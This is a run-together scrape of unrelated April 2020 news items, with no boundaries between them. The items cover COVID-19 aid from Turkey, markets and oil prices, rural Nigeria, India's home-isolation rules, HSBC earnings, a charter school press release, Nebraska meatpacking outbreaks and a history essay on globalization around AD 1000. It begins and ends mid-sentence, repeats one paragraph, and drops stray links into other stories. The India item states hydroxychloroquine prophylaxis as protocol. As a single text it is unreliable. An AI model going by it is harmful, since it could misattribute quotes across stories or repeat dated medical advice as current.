hunkering down at home. "We're in open space, keeping six feet apart," he said. "And it's getting hotter and hotter." ISTANBUL (Reuters) - President Tayyip Erdogan said that Turkey will send medical gear including protective suits and masks to the United States on Tuesday to help its efforts to contain the coronavirus outbreak. 'At a time when even developed countries are asking for Turkey's support, we have offered our support to a wide geography, from the Balkans to Africa,' Erdogan told reporters following a cabinet meeting. ISTANBUL (Reuters) - President Tayyip Erdogan said that Turkey will send medical gear including protective suits and masks to the United States on Tuesday to help its efforts to contain the coronavirus outbreak. "At a time when even developed countries are asking for Turkey's support, we have offered our support to a wide geography, from the Balkans to Africa," Erdogan told reporters following a cabinet meeting. "Most recently, we are sending medical aid to the United States on Tuesday, consisting of surgical masks, N95 masks, hazmat suits and disinfectants," Erdogan said, adding that the shipment would be delivered via a Turkish military plane. Erdogan also said a three-day lockdown would be imposed in 31 cities as of Friday, May 1, and that weekend lockdowns would continue until after Eid al-Fitr in late May. He said a schedule for returning to normal would be announced soon. Turkey's confirmed cases of COVID-19 increased by 2,131 in the past 24 hours, and 95 more people have died, taking the death toll to 2,900, Health Ministry data showed on Monday. (Reporting by Ezgi Erkoyun and Ali Kucukgocmen; Editing by Ece Toksabay and Alex Richardson) This story has not been edited by Firstpost staff and is generated by auto-feed. Abe Conlon and Adrienne Lo arent waiting any longer not for a government directive, a bank loan or a guardian angel. Theyre closing Fat Rice, their award-winning restaurant in Chicago, and opening a new business in its place. The restaurant for the foreseeable future is dead, said Mr. Conlon, Fat Rices chef and an owner, along with Ms. Lo. We need to face the reality that we cant exist in the future as it looks now. People are not going to feel comfortable being in close quarters or being in a cramped dining room. The new business, Super Fat Rice Mart, will offer meal kits the kind of alternative strategy, from takeout to delivery to selling grocery items and farm-fresh produce, that restaurants across the country have adopted to get them through the coronavirus shutdowns. But theres a difference: Super Fat Rice Mart, which starts tomorrow, is not a stopgap measure. Ms. Lo said they would not reopen Fat Rice even after stay-at-home orders are lifted in Illinois. Asian stocks mostly rose Tuesday as investors track government moves to ease lockdown measures around the world, helping extend the previous day's rally, but US oil prices suffered another collapse. While data is beginning to highlight the impact coronavirus has had on economies, markets have been buoyed in recent days by news that some of the worst-hit countries are finally seeing infection and death rates slow to levels not seen for a month. However, profit-taking and concern that some containment measures could be lifted too soon -- leading to a possible second wave of infections -- are tempering any surge across markets. Those concerns were highlighted by data out of Germany Tuesday showing a slight pick-up in transmission just as the country was beginning to open up. Focus this week is on policy decisions by the Federal Reserve and European Central Bank, after the Bank of Japan said it would lift the limit on its bond-buying programme to provide liquidity to financial markets. Equities in Asia started weakly but picked up through the day. Hong Kong added more than one percent, Seoul gained 0.6 percent and Taipei put on 0.5 percent. Manila put on more than two percent while Jakarta climbed 0.3 percent, Singapore gained 0.2 percent and Mumbai was up 0.8 percent. Wellington surged more than three percent as investors returned from a long weekend when New Zealand declared victory in its battle against the virus and considered lifting restrictions. But Tokyo, Sydney and Shanghai ended slightly lower. In early trade, London, Paris and Frankfurt posted healthy gains. - Crude tumbles - Stephen Innes at AxiCorp said the general mood for now was positive. "Investors continue to play off the bullish-for-growth narrative as several economies around the world set to re-open to the timely central bank week, where guidance will pledge to expand existing asset-purchase schemes if conditions deteriorate," he wrote in a note. But CMC Markets' Michael Hewson warned that while massive central bank and government support had been providing a boost to stocks, "the economic data has gone from bad to worse and unlikely to get better in the short term, which means that investors appear to be banking on a quick return to normal as governments slowly relax restrictions". Despite tentative reopenings in some countries, crude continues to be mauled by concerns over collapsed demand and storage facilities filling up. WTI plunged more than 18 percent below $11 a barrel Tuesday, a day after it lost a quarter of its value, after a major exchange-traded fund started selling its short-term contracts of the commodity. The United States Oil Fund -- a massive, oil-backed exchange-traded vehicle -- said it would sell all its holdings in the June delivery and would buy into longer-dated contracts. The move highlighted fears that storage is filling up and that when futures contracts do expire, buyers may find there is little space to put the oil they have purchased. The Oil Fund's move "is causing a massive price distortion between June and July", Innes said. WTI for July was changing hands at more than $18 Tuesday. - Key figures around 0810 GMT - Tokyo - Nikkei 225: DOWN 0.1 percent at 19,771.19 (close) Hong Kong - Hang Seng: UP 1.2 percent at 24,575.96 (close) Shanghai - Composite: DOWN 0.2 percent at 2,810.02 (close) London - FTSE 100: UP 0.5 percent at 5,873.33 West Texas Intermediate: DOWN 18.2 percent at $10.46 per barrel Brent North Sea crude: DOWN 5.2 percent at $18.95 per barrel Euro/dollar: DOWN at $1.0825 from $1.0828 at 2040 GMT Dollar/yen: DOWN at 107.12 yen from 107.25 yen Pound/dollar: UP at $1.2434 from $1.2427 Euro/pound: UP at 87.04 pence from 87.12 pence New York - Dow: UP 1.5 percent at 24,133.78 (close) Wellington surged more than three percent as investors returned from a long weekend when the New Zealand government declared victory in its battle against the virus Despite tentative reopenings in some countries, crude continues to be mauled by concerns over collapsed demand and storage facilities filling up The Police Command in Niger has arrested one Fatima Sani, 37 of Gobirawa village in Mashegu Local Government Area for allegedly stabbing her mother-in-law to death. The Commissioner of police in the state, Alhaji Adamu Usman, disclosed this to the News Agency of Nigeria (NAN) in Minna on Monday. Usman said that the suspect had a misunderstanding with her husband, Sani Umaru, on April 23 which resulted to divorce. The suspect alleged that her mother-in-law, Aishatu Umaru, 70 of Tozon Daji village instigated her son to divorce her. It was based on this assumption that the suspect traced the mother-in-law to her village and stabbed her to death. Usman said that the case is under investigation and the suspect would soon be charged to court. Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates The village of Sabo Hausawa is located Kuje. It is a 50-minute ride on a motorcycle from the popular Kuje tipper garage in the Federal Capital Territory. The journey is strenuous due to the unpaved, bumpy, semi graded hilly roads leading in, indicating abandonment from authorities. On this same road is a clogged stream hindering movement for both trekkers and motorcycles. Cononavirus Myth The reporter soon comes in contact with some villagers. One of them, 55-year-old Abubakar Sabo, denounces COVID-19 as a myth. I dont know it, I have not seen it, we are hardworking people, I am a teacher, he said. But I came to the village to work on my farm. I heard when I went to Kuje that there is a disease called coronavirus, and we have to wash our hands, but we know this thing is not possible in the village. Nonetheless, the unbelieving Mr Abubakar expresses the fear that the virus may likely spread in the community because the rural dwellers still attend religious activities and go for community gatherings. We believe in God, it cant come to the poor, its for the big men, you will see them as you enter the village, he said. Like Mr Abubakar, some other residents of Sabo Hausawa, Sabo Marai, Shazhi, and Rubochi, who spoke with PREMIUM TIMES, said they have only heard of coronavirus from fellow farmers, who went to sell in town, and they were chased back because of the lockdown. The federal government has placed Ogun, Lagos and the FCT under lockdown to curb the spread of the disease. Raging scourge Nigeria, with an estimated population of 200 million, has over 1, 300 confirmed cases of COVID-19 and over 30 deaths as of April 28. These numbers are, however, far from the true reflection of the situation as the Nigerian Centre for Disease Control (NCDC) has been widely criticised for not carrying out enough testing. INFOGRAPH: Social distancing, other protective measures are a daydream in some Nigerian communities. But, as the virus continues to ravage the world, it may be difficult to combat the virus in rural communities and prevent community-level transmission due to the peculiarity and structures of these communities. Communities in Abuja and Lagos, the two locations with the highest number of cases, face potential danger of COVID-19, first to non-observance of government measures, secondly, to unavailability of clean water for handwashing and, thirdly and dangerously to the confidence that comes from their belief that the virus does not exist among others. PREMIUM TIMES observed that a major challenge in the fight against COVID-19 in Nigeria is the fact that these villagers do not believe the novel coronavirus story, at least many of them told PREMIUM TIMES. Some of them say it was just another ploy to siphon money from the nations coffers and deceive the people. Nevertheless, they reckoned that even if the disease is real, it was for the rich and maybe a punishment for those in power. Sensitisation, a major problem A 30-year-old woman, Zulu Muhammed, said no government agency, health specialist, or local government has come to tell us what coronavirus is and what to do to avoid it. They told us they are bringing food and money for us, and we are waiting, she said. When asked if she has heard about the measures of washing their hands with soap, water, and rubbing of sanitisers, Mrs Muhammed said this is not feasible. My husband has two wives and we are 10 living in this house which only has three rooms, so you want us to observe the washing of hands, she exclaims. At least youve seen our house is far from the borehole which usually stops 11 to 12 (a.m.) every day, then we resort to hand pumping water, once that stops, we all head to the stream. She said that the government needs to sensitise the villagers before they will believe them. How do you expect us to buy soap and sanitisers when we have not eaten, I have never seen a sanitiser before self, you people are funny. Coronavirus cannot get here, we are serving God, she said. Some community elders in Sabo Barai and Rubokya lamented that no government officials or organisation has been to the villages for distribution of palliatives and sensitisation of the community. Dearth of basic amenities Located at the centre of Angwan Barai, and not too far from Chida stands the borehole and hand pumping borehole that serves the communities. The reporter observed how women and young girls put their buckets on the floor to form a queue in order to get water. Their cluster defeats the social distancing measure the authorities advocate to curb the spread of coronavirus. Advertisements Setu Samadu said there is no way to practice social distancing and frequent washing of hands here. You can see how we are rushing to fetch water, she said. I was lucky to get water to wash this morning, else, I will be on my way to the stream. We have been forgotten. They (government) have abandoned us, go to the health centre and see how it is. I dont believe any government. A visit to the only primary healthcare that serves seven communities depicted either abandonment or lack of maintenance. The centre is designed to cater for Sabo, Pebiri, Chida, Hurusu, Ibadan, Rubokya, and Alhaji Mamman communities. The only health personnel in the centre, Dabana Sarkiya, said he usually visits the communities to educate them on coronavirus and the symptoms. I have told them what the symptoms of coronavirus are and if they observed anything similar, they should alert me, and we will send for an ambulance. You can see there are no patients in the wards, he said. He, however, corroborated what the villagers said on low sensitization by the government. According to him, nobody has come to give me or the community health talks. I only teach the people what I get as SMS. When asked why a pamphlet on COVID-19 he showed the reporter was written in English when most of the residents cant even speak or write in English, Mr Sarkiya said he usually translates it for them. But the majority of those we interacted with said they have not received a visit or talk by Nigerian health officials. Lagos communities PREMIUM TIMES also paid a visit to a community with over 1,000 residents in Eti-Osa local government of Lagos. The residents at New road in Badore Ajah are those from the Benin Republic who resettled in Nigeria. These persons do not have access to potable water, and other amenities are alien to them as this newspaper observed they take their bath in the river and cook with the same polluted water. READ ALSO: There was a time we planned having a borehole but we cannot donate money for that. Some persons hardly get money to feed their families, and it will be injustice asking such person to donate money for water, Ebenezer Apoi, a resident of the community, told PREMIUM TIMES. Residents said they are not bothered about the virus as normal business activities still take place. When PREMIUM TIMES asked, the villagers said they lack knowledge about preventive measures to curb coronavirus. In Langbasa and Ado, the stories remain the same Many families in Langbasa area of Lagos were seen in ramshackle rooms where potable water is alien and residents find it difficult to purchase sanitisers. The major challenge I have is that you cannot expect me to use the little money I have to buy soap and sanitiser when my children are hungry. While the government promised palliative, we did not get anything. It becomes a major challenge for us to eat. I believe that with God, coronavirus wont find its way in my family, Tope Makanjuola, says. At Ado, many of the rented rooms here house six or more persons. INFOGRAPH: Social distancing, other protective measures are a daydream in some Nigerian communities. It is only somebody that is living in a conducive environment that can isolate (quarantine) themselves. I stay in a compound with more than 40 persons. Now tell me, are all going lock ourselves in the room. What are we going to eat? There are a lot of issues to be resolved. Self-isolation (quarantine) is a daydream, a resident said. Curbing scourge Different strategies for curbing the spread of the coronavirus have emerged in different countries but one has cut through everywhere. It is simple on the surface and, supposedly, can be done by anyone: Wash your hands with water and soap for at least 20 seconds. This advice takes abundance of safe water for granted, but in many parts of the world, Nigeria also, clean freshwater isnt guaranteed. Where it is, it may be in scarce supply. According to the World Health Organisation, frequent and thorough hand washing can help reduce your chances of contracting infectious diseases such as COVID-19. Global statistics for 2017 revealed that poor sanitation and limited access to hand-washing facilities contributed to around 1.5 million deaths. Nearly 2.2 billion people are currently living without safely managed water outlets, and around 22 per cent of healthcare facilities in the least developed countries lack basic water services. The World Bank reported that around 75 per cent of people living in rural areas live in homes that lack adequate facilities for handwashing. INFOGRAPH: Social distancing, other protective measures are a daydream in some Nigerian communities. Closely related to the issue of lack of pipe-borne water are sanitation facilities and decent accommodation for most people in Nigeria. This fact alone constitutes a major hindrance to the attempts at containment of the pandemic. Regular hand-washing under a running tap for presupposes that people have clean and running pipe-borne water. Sadly, this is not so in many communities in Nigeria. Experts weigh in A professor of microbiology from the University of Nigeria, Ifeoma Ezeonu, said the government needs to address the issues of basic amenities in communities. When we are talking about washing of hands, the people we are really talking to are the ones that can access water, she said. If you ask people in the rural area who do not have water or hardly have water for their domestic use to wash hands consistently, they will see it as waste. She advised that governments should look into providing water for the communities. Awareness campaign need to go beyond radio and television, there must be community sensitization. Now the awareness campaign should be going to communities and slums so that these people can practice the preventive measures to avoid the spread of community-level transmission of the disease, she said. Also, a public analyst, Gbolahan Olojede, said the problem is that people at the grassroots have not been involved in containing the spread of the disease. The measures to really deal with containing the spread of the virus is involving people at the local government level: councillors, leader of the mosques and churches, etc. They will educate their members, he said. INFOGRAPH: Social distancing, other protective measures are a daydream in some Nigerian communities. This report was facilitated by the Wole Soyinka Centre for Investigative Journalism (WSCIJ) under its COVID-19 Reality Check project. Sumi Sukanaya Dutta By Express News Service NEW DELHI: Top infectious disease experts and virologists have welcomed the Centre's move to allow those who are pre-symptomatic or showing very mild symptoms to isolate themselves at home under certain conditions. They said "it will allow people to take charge of their lives." In revised guidelines on home isolation issued late on Monday evening, the Union Ministry of Health and Family Welfare said while all suspected and confirmed cases of COVID-19 are currently being isolated and managed in a hospital setting with the intent to break the chain of transmission, those with mild symptoms or without symptoms -- if diagnosed so by the treating doctor -- will now have the option of home isolation. "The move will allow people to take charge of their lives and it's good to let communities ensure quarantine. Trust is a key to controlling this epidemic," said virologist Dr Shahid Jameel, CEO of the Wellcome Trust India DBT Alliance. "The outbreak is a public health problem that has so far been treated like a law and order problem." ALSO READ | 11 types of novel coronavirus now but only one driving pandemic, find Indian scientists Senior virologist Dr T Jacob John from Christian Medical College, Vellore said that the government should have allowed home isolation of mild cases in early March itself when the outbreak was in its early stages. "Nobody who is not very sick should be in hospitals," he said. "I would say there has been huge delay on the part of the Centre in coming up with the new guidelines. The move will decrease the strain on government and hospitals and is better for the physical and mental well-being of a vast majority of people who will have only mild disease." The provision of home isolation however includes certain conditions such as having requisite facilities for self-isolation and also calls for the quarantining of family contacts, availability of a care giver 24x7 and a communication link between the caregiver and hospital for the entire duration of home isolation. Also, the care giver and all close contacts of such cases will have to take the anti-malaria drug hydroxychloroquine (recommended for preventing the infection) as per protocol. The patient will have to download the contact tracing app Arogya Setu on their mobiles and it should remain active at all times. They will also have to get their health satus monitored by the district surveillance officer and regularly inform the authorities about their health status. The guidelines also say those under home isolation should seek immediate medical attention in case they develop complications such as difficulty in breathing, persistent pain or pressure in the chest, mental confusion or inability to arise, bluish discolorations of lips or face. Some however cautioned against the move saying that if there are high-risk members in the family, having a COVID 19 patient could at home spur trouble. "Also, voluntary compliance can't be assumed to be high. In my view, it would be better to repurpose vacant real-estate inventory as isolation facilities, said public health expert Oommen C Kurian. ALSO SEE: H SBC bank today put on ice its massive redundancy programme to help care for its staff during the coronavirus crisis but said profits almost halved, with bad debts potentially hitting $11 billion this year as customers struggle to repay their loans. The bank had planned to shed 35,000 staff worldwide as it grapples with an overly bureaucratic and expensive cost base. That had included big cuts to staff in London HQ, where it employs thousands. Global banks and markets businesses - effectively investment banking - was to be worst hit here. However, new chief executive Noel Quinn today said he had "paused" the process, saying: "I take the wellbeing of our people extremely seriously. We have therefore paused the vast majority of redundancies related to the transformation we announced in February to reduce the uncertainty they are feeling at this difficult time. "We continue to press forward with the other areas of our transformation with the aim of delivering a stronger and leaner business that is better equipped to help our customers prosper in the recovery still to come." Covid had a heavy impact on the first quarter profits, which mainly included the virus's impact in its large Asian business, where the bank is heavily exposed. Profits crashed 48% to $3.2 billion due to higher credit losses and impairment charges due to people not being able to repay their loans and interest charges. Margins were also down sharply as a result. The credit loss for the quarter was a hefty $3 billion including a $700 million hit on a corporate exposure in Singapore. The bank was also hit hard by the collapse in the oil price - a factor which has worsened considerably since the quarter ended last month. Around 2.5% of the company's loans are to the oil and gas sector. While staff will have welcomed the job cull pause, investors will fear its impact on Quinn's attempts to restructure the business and cut costs. He had declared his plan was to make returns on tangible equity - a key profit target - of 10% to 12% in 2022. Today it admitted ROTE in the quarter fell to 4.2% from 5.2% in the previous quarter. On a brighter note, the markets volatility appears to have helped its global markets business, where fixed income and credit revenues leaped 38%. Analysts at Jefferies said the results missed expectations due to the higher than expected credit costs. "The guide for 2020 is for a credit cost of $7-11 billion on sensitivities of exposure." It highlighted HSBC's breakdown of its exposure as: $26 billion to oil and gas, $40 billion in covid-impacted sectors ($9 billin to aviation, $3 billin to restaurants, $28 billion to retail. That represents about 6% of HSBC's loans. SAN ANTONIO, April 28, 2020 /PRNewswire/ -- After many years of consistent accolades for its acclaimed charter school campuses, the BASIS Charter Schools network finally has a school in the state of Texas that is eligible for the highly-regarded U.S. News & World Report rankings. And results for BASIS San Antonio Shavano Campus are exceedingly impressive in its first year of eligibility, placing highly in all categories in US News' Texas rankings: #1 school in the city of San Antonio #1 charter school in Texas #9 school in Texas The only school in Texas' Top 10 which is an open-enrollment public school (the other nine are selective admission schools). BASIS San Antonio Shavano is also the #91 ranked school in the entire United States out of more than 24,000 schools assessed by US News. "These rankings are incredible, yet again. Our student performance continues to improve year after year, and these rankings aren't necessarily a sign of precisely what we do, since US News isn't exclusively focused on college readiness," said BASIS.ed CEO Aaron Kindel. "But they do show that no matter how you assess BASIS Charter Schools, and no matter where our schools are located, it is consistently evident that we make students successful." BASIS San Antonio - Shavano Campus serves students in grades 6-12. It is effectively seven years old, having opened in 2013, and then assuming its current name in 2017 when it combined teachers and students from BASIS San Antonio Medical Center and BASIS San Antonio North Central onto one campus. "These rankings are a result of both our amazing teachers and our exceptional students. We know this is just our first year of eligibility, and we are really proud of this result," said BASIS San Antonio Shavano Head of School David King. "Our 2020 graduating class of 78 students earned over $14 million dollars in merit-based scholarships and were accepted to 130 different colleges and universities globally. We've seen how our students match up across the state, the country, and the world, and this recognition bears that out!" As for the rest of the network of BASIS Charter Schools, its top nine campuses are ranked in the nation's 99.6th percentile, or the top 0.38% of American schools. out of more than 24,000 public schools assessed by U.S. News & World Report. Arizona's BASIS Chandler is ranked #7 in the U.S., and is also the #1 charter school in the nation, the #1 school in the state of Arizona, and the #6 STEM school nationally. "We still believe that college readiness is the most vital part of our mission to raise the levels of our students' learning to the highest international standards," said BASIS Educational Ventures CEO Dr. Peter Bezanson. "The U.S. News & World Report STEM rankings are for the second straight year the publication's best pure measure of college readiness. Once again, our schools show how true that is." The network has eight campuses ranked among the nation's top STEM schools, which looks at student success by school in science, technology, engineering, and math courses. The STEM rankings include three top 10 STEM schools and five top 25 STEM campuses in the BASIS Charter Schools network. In the national charter school rankings, the BASIS Charter Schools network has the #1 charter school in the nation, 3 of the top 5 charters nationally, 6 of the top 10, and 9 of the top 20 (actually, 19) charter schools in the U.S. Those schools are #1 BASIS Chandler, #4 BASIS Oro Valley, #5 BASIS Peoria, #8 BASIS Flagstaff, #9 BASIS Tucson North, #10 BASIS Scottsdale, #12 BASIS Phoenix, #13 BASIS Ahwatukee, and #19 BASIS San Antonio Shavano. This is the second consecutive year that BASIS Charter Schools had so many campuses ranking this high despite the fact that U.S News & World Report changed the way it assesses schools and the methodology by which it ranks them. Through 2018, US News ranked fewer than 3,000 schools per year; in 2019 and 2020, it considered more than 24,000 each year. According to US News, its rankings until 2018 were "based solely on college readiness" which is precisely aligned with what the BASIS Charter School Curriculum does: prepare students for college. When its rankings were published in 2019, US News wrote that it implemented a "comprehensive ranking methodology which reflects how well high schools serve all students, not just those planning to go to college." About BASIS Charter Schools The BASIS Charter Schools network is among the best in the United States, whether assessing by OECD/PISA scores, AP testing, national rankings, college admissions, college merit aid earned, or any other measure. Our bright, passionate subject expert teachers serve K-12 students with the high-achieving, STEM-infused, liberal arts-focused BASIS Charter School Curriculum. Our acclaimed program founded in 1998 and cultivating excellence every school year since -- educates students at the highest international levels, preparing them to be participants, not spectators, in the 21st-century global workforce of commerce and innovation. In the 2020-21 academic year, there will be 29 BASIS Charter Schools serving more than 20,000 students in Arizona, Louisiana, Texas, and Washington, D.C. For more information, please visit basised.com or basisschools.org. About BASIS Texas Charter Schools The BASIS Charter Schools network has been delivering a transformative K-12 academic program to students in Texas since 2013, with more schools opening in Texas in the coming years. BASIS Texas Charter Schools are part of the BASIS Charter Schools network, and serve students with the same academic program, subject expert teachers, and BASIS Charter School Curriculum as our sister campuses across the United States. Including the two new campuses opening in fall, 2020, there are now five BASIS Texas Charter Schools: our first campus in the state capital, BASIS Austin Primary, as well as BASIS San Antonio Primary Medical Center Campus, BASIS San Antonio Primary North Central Campus, BASIS San Antonio - Shavano Campus, and the new BASIS San Antonio Northeast Campus. Please see enrollbasis.com/schools/Texas. SOURCE BASIS.ed The millionaire Republican governor of Nebraska, Pete Ricketts, has declared that multiple businesses will reopen under specific restrictions in counties throughout the state next Monday, May 4, even as cases of COVID-19 continue to rise in the states meatpacking and processing plants. Nebraska is currently one of eight states without a state-wide stay-at-home order, with the governor ignoring the advice of medical professionals and epidemiologists. Meatpacking plants throughout the state of Nebraska have been particularly hard hit with spikes of COVID-19 cases. According to the Omaha World Herald, confirmed coronavirus infections are rising at a rate 15 times that for the rest of Nebraska and 5 times the national average in the meatpacking communities of Hall, Dawson and Dakota Counties. Despite the growing outbreak in one of the states basic industries, salons, tattoo parlors, restaurants and childcare centers will be allowed to reopen on May 4 and elective surgeries will also be able to resume on this date. Hall County holds Nebraskas fourth most populous city, Grand Island, with roughly 6,000 people. As of April 27, there were 877 confirmed cases of COVID-19 in the county and 19 deaths. At least 237 of the confirmed cases in the Grand Island have been linked directly to the JBS beef plant in town. JBS USA is one of the largest meat-producing companies in the United States and is Grand Islands largest employer, with 3,600 workers. The Brazilian-owned company saw its profits surge by 332 percent in the first quarter of the year over 2019 rising to $485 million, while most of its workers make poverty wages in fast-paced and unsafe conditions. As has been seen across the US, once the virus infects a few people in an individual meatpacking plant, it soon spreads rapidly. On April 10, there were 84 confirmed cases in Hall County, and by April 20, there were 531 cases. An undisclosed number of people working at Tyson plants in the city of Omaha, the states most popular metro area, with over 800,000 people, have tested positive. These meatpacking plants overwhelmingly employ immigrant workers, mostly Hispanic, Burmese, Sudanese and Somali. At the same time, these plants have also been the focus of many Immigration and Customs Enforcement (ICE) raids over the last 10 years, including a sweep of over 1,200 immigrants in Grand Island in 2006. Immigrant workers are often the most exploited layers of workers in the food industry, facing constant threats of retaliation from the company and ICE. The working conditions in these plants are often fast-paced and brutal. In Nebraska, they have been the focus of criticisms from advocacy nonprofit group Nebraska Appleseed. The organization claims workers face impossibly fast work speeds, limited bathroom access and rest breaks, improper medical treatment of work-related injuries, lack of sufficient training, and low wages. Governor Ricketts and Nebraskas political establishment have largely ignored the response from the scientific and medical community to the spread of COVID-19 across the state, especially the meatpacking facilities. Instead, the Ricketts family is pushing the interests of Wall Street to reopen the US economy. Governor Ricketts is a scion of billionaire Joe Ricketts and an heir to the billionaire Ricketts dynasty (net wealth $5.3 billion). The elder Ricketts grew his enormous fortunes out of a process of parasitic financial mergers and acquisitions of retail securities brokerage firms, eventually forming the Omaha-based TD Ameritrade. The Ricketts family has also been influential in shaping US politics and pushing it further to the right, donating to both the Democratic and Republican parties. Despite initially opposing Donald Trump in the 2016 election, they have cultivated close ties to the Trump administration and are now part of an advisory group to the White House called the Great American Economic Revival Industry Groups. The aim of the panel is to reopen the economy despite the dangers of the COVID-19 pandemic to broad sections of the population. Joe Ricketts has donated over $855,000 to Trumps joint fundraising committee with the Republican National Committee. In 2017, Joe Ricketts shut down publications DNAInfo and Gothamist after a unionization vote in an act of political censorship. Todd Ricketts, brother of the governor, heads the RNC finance committee and was appointed to the White House's advisory panel as part of the financial services industry group. Governor Ricketts has also ignored the advice of medical experts.Teresa Anderson, director of the Central District Health Department, which oversees Hall as well as two additional counties, has raised the need for a shelter-in-place order. According to the Daily Beast, Anderson made the following statement at a briefing the first week of April: There are many folks among us who believe that a shelter-in-place would be an effective way to separate people for a two-week period, thereby reducing the spread. And both the medical community, the mayor, and the public health requested that of the governor. He doesnt think this is the right time to do itso thats his responsibility. Dr. Gary Anthone, the states chief medical officer, has also noted that Nebraskas current hot spots are in large manufacturing facilities, according to the Omaha World Herald. If theres one thing that might keep me up at night, he told the newspaper, its the meat processing plants and manufacturing plants. Ricketts claims that hospitals are not at capacity currently and therefore restrictions on business can be eased. He claims testing will go from the 600-800 residents tested per day that is currently happening to 3,000 per day. Moreover, he has said testing data will only be up to speed by the end of May or early June, not May 4, the date he proposes to reopen businesses. The Nebraska legislatures response in early March to the pandemic was initially to suspend sessions, stating they did not want to put themselves in danger of coronavirus. They reconvened on March 23 to finally pass emergency pandemic funding that had been delayed since its initial introduction in January. According to the Omaha World Herald, at the beginning of April, Democratic state Senators Tony Vargas, Megan Hunt, Justin Wayne and Mike McDonnell signed a letter to Ricketts demanding a shelter-in-place order. Since then, state Senator Hunt has tweeted about Rickettss opposition, but has commented little on the situation facing workers in the meatpacking facilities. Senator Vargas stated, I dont think we can tell yet whether workers are being adequately protected, according to the Marietta Daily Journal. He added, What we know is its not business as usual. Vargas has also given token support for a letter to meat processing plants that was written by the Heartland Workers Center (HWC), a nonprofit that claims to advocate for workers rights. In the letter, HWC makes suggestions for keeping the plants open such as adopting additional sanitation and health-screening practices, expanding personnel and leave practices that encourage self-quarantine to contain spread. But the letter then goes on to praise the companies, noting, JBS and Cargill, in particular, have been leaders in taking strong actions in all three areas. It is our hope that other employers will be able to follow suit. Considering JBSs record of mistreating workers across the country, the toothless appeal to the companies by Vargas, the Democrats and the nonprofits would not bring any additional level of safety to the workers in these facilities. United Food & Commercial Workers Local 293, the union that covers 10,000 food workers at JBS, Cargill, Nestle, Omaha Steaks, Tyson and Smithfield plants throughout Nebraska, has also taken no actions to protect the workers it claims to represent. The union has made appeals to the US Department of Agriculture to protect workers while keeping workers on the job without any safety measures in place. Ricketts has stated he will not ease restrictions on the counties that are currently most afflicted, such as Hall County. The meatpacking plants in Omaha and surrounding Douglas County, however, are also seen as a potential hot spot in the coming weeks. When Ricketts announced the plan to reopen businesses in early May, Dr. Angela Hewlett, medical director of the Nebraska Biocontainment Unit, told the Omaha World Herald on April 26: Were still seeing an increasing number of cases. Yes, we havent seen a huge surge in cases in Douglas County in particular, but were definitely seeing that in other parts of the state, adding, I dont want to have things open prematurely when theres a chance that we could see a large spike in infection. Globalization started much earlier than you might expect in AD 1000. That is when, as incontrovertible archeological evidence shows, the Vikings left their home region of Scandinavia, crossed the North Atlantic and landed in northeastern Canada. The Norse voyages linked existing pathways across North and South America with those across Afro-Eurasia. As new pathways opened on continents, merchants, goods, technologies and religions moved around the globe for the first time. Regional networks joined together to tie a loop around the globe. As the Icelandic sagas inform us, trading began almost immediately with a premium placed on novel goods. When the locals exchanged furs for wool cloth the Vikings had dyed red, they tied the lengths of red wool around their heads. As supplies began to run out, the Norse cut shorter and shorter pieces, some no wider than a fingers width. Still the locals offered full pelts for the scraps. Even in those early encounters, the lure of a new product red cloth cast a mesmerizing spell on consumers, just as excited purchasers today clamor for the latest Nike sneakers. For the first time in history, an object or message could travel all the way around the world. No one has found such an item yet! but archaeology could still surprise us. To be sure, this was not globalization in our current sense of the word. Ordinary people could not travel virtually anywhere, walk into a store and buy goods from another country. Nonetheless, the changes around the year 1000 constituted globalization in the most fundamental sense because what happened in one place profoundly affected the residents of distant regions. True, people living in a few regions Rome, India, China knew well before 1000 that other societies existed. Consider the sea trade between Rome and India, for example, or the overland Silk routes linking Central Asia with China. But the changes of 1000 influenced the entire globe. In the Americas, the Maya, based in the Yucatan Peninsula, traded cacao beans and brightly colored feathers and the occasional live caged macaw for the turquoise of Chaco Canyon, New Mexico, some 2,000 miles, or 3600 kilometers, away. In Afro-Eurasia, the ongoing demand for slaves in Constantinople (modern Istanbul), Baghdad, Cairo and other cities resulted in the forced movement of millions of people from Africa, Eastern Europe and Central Asia hundreds of years before the transatlantic slave trade began. So many slaves came from Eastern Europe that the modern English slave isderived from Slav. Besides the Norse, other key players in the year 1000 included the Chinese, the Indians and the Arabs. The longest maritime route in regular use connected China with the Persian Gulf cities of Oman and Basra, the port closest to Baghdad. It measured 8,000 miles, or 13,000 kilometers, but if boats crossed the Indian Ocean directly without hugging the shore, the distance was 6,500 miles, or 10,500 kilometers. And if the boats proceeded on to Sofala, in modern Mozambique, the extra leg totaled 4,700 miles, or 6,500 kilometers. The entire distance was three times longer than Columbuss first voyage across the Atlantic, which measured 4,400 miles, or 7,700 kilometers. The route from China to Sofala combined two pilgrimage pathways: one for Muslims going from China to Mecca, the other for East Africans also performing the hajj. Most of the traffic traveled between the ports on Chinas southeast coast and the Arabian Peninsula, but some goods, such as high-fired Chinese celadons as prized as iPhones in their day reached ports along the East African coast. As the export trade boomed, Chinese workers shifted to full-scale manufacturing of products ceramics, textiles, metal goods for their overseas customers. As early as 826 Chinese potters tried to copy Arabic words on export wares, but made mistakes in the lettering, just as clothing manufacturers print T-shirts with spelling and grammatical errors today. The first phase of globalization occurred long before the introduction of either steam or electric power and was based on sails and wind, carts and horses and other draft animals. Chinese consumers at all social levels consumed vast quantities of spices, fragrant woods and unusual plants. The peoples of Southeast Asia who lived in forests gave up their traditional livelihoods and completely reoriented their economies to supply Chinese consumers, rich and poor, with spices and fragrant woods. These developments meant that globalization was more advanced in Southeast Asia and China. As foreign merchants increasingly benefited at the expense of local businessmen, the worlds first anti-globalization riots and attacks on the newly wealthy broke out in cities such as Cairo, Constantinople and Guangzhou. The most surprising journeys around the year 1000 took place when speakers of Malayo-Polynesian languages departed from the Malay peninsula and arrived on the island of Madagascar off the east coast of Africa some 4,000 miles away. Globalization also profoundly affected those who never left home. Once a ruler converted, and many did around 1000, many of their subjects adopted the new faith as well. Following the opening up of the new pathways, rulers learned about the religions of their neighbors, and a spate of conversions occurred. Today, 92 percent of believers subscribe to one of the four religions Islam, Christianity, Hinduism or Buddhism that gained traction in the year 1000. Related: Struggling U.S. Airlines Get $17.5 Billion Bailout These exchanges of the year 1000 opened some of the routes through which goods and peoples continued to travel after Columbus traversed the mid-Atlantic. Yet the world of 1000 differed from that of 1492 in important ways. Unlike in 1492, when firearms and cannon enabled the Europeans to defeat almost everyone they met, the travelers who 